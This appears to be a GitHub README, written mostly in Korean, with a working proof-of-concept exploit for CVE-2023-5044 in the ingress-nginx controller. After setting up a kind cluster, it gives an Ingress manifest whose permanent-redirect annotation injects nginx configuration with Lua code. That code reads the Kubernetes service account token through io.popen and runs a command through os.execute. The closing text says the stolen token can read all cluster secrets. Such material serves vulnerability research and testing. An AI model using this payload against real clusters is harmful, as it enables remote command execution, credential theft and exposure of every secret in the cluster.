kubernetesbachelor/cve-2023-5044Poc for CVE 2023 5044
CVE 2023 5044에 대한 PoC
Kind: v0.20.0
Kubectl: v1.29.3
Docker: v26.0.0
Docker에 올바른 권한을 부여합니다
sudo usermod -aG docker $USER && newgrp docker
extraPortMaping 및 node-labels를 사용하여 클러스터를 시작하여 인그레스를 준비합니다.
cat <<EOF | kind create cluster --config=-
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
kubeadmConfigPatches:
- |
kind: InitConfiguration
nodeRegistration:
kubeletExtraArgs:
node-labels: "ingress-ready=true"
extraPortMappings:
- containerPort: 80
hostPort: 80
protocol: TCP
- containerPort: 443
hostPort: 443
protocol: TCP
EOF
nginx 인그레스 컨트롤러를 설치합니다
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml
인그레스 없이 간단한 http-echo 서비스를 설정하는 .yaml 파일
kind: Pod
apiVersion: v1
metadata:
name: foo-app
labels:
app: foo
spec:
containers:
- command:
- /agnhost
- netexec
- --http-port
- "8080"
image: registry.k8s.io/e2e-test-images/agnhost:2.39
name: foo-app
---
kind: Service
apiVersion: v1
metadata:
name: foo-service
spec:
selector:
app: foo
ports:
# Default port used by the image
- port: 8080
---
kind: Pod
apiVersion: v1
metadata:
name: bar-app
labels:
app: bar
spec:
containers:
- command:
- /agnhost
- netexec
- --http-port
- "8080"
image: registry.k8s.io/e2e-test-images/agnhost:2.39
name: bar-app
---
kind: Service
apiVersion: v1
metadata:
name: bar-service
spec:
selector:
app: bar
ports:
# Default port used by the image
- port: 8080
---
익스플로잇이 포함된 인그레스용 .yaml 파일
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: exploit-ingress
annotations:
nginx.ingress.kubernetes.io/rewrite-target: /$2
nginx.ingress.kubernetes.io/permanent-redirect: https://www.google.com;}location ~* "^/exploit(/|$)(.*)" {content_by_lua 'ngx.say(io.popen("cat /var/run/secrets/kubernetes.io/serviceaccount/token"):read("*a"))';}location ~* "^/exploit(/|$)(.*)" { content_by_lua 'os.execute("touch /you")'
spec:
rules:
- http:
paths:
- pathType: Prefix
path: /foo(/|$)(.*)
backend:
service:
name: foo-service
port:
number: 8080
- pathType: Prefix
path: /bar(/|$)(.*)
backend:
service:
name: bar-service
port:
number: 8080
이제 "localhost/exploit"는 ingress-NGINX의 서비스 계정 토큰을 반환합니다. 기본 구성에서는 이 서비스 계정 토큰을 사용하여 base64 디코딩 후 클러스터의 모든 시크릿을 읽을 수 있습니다.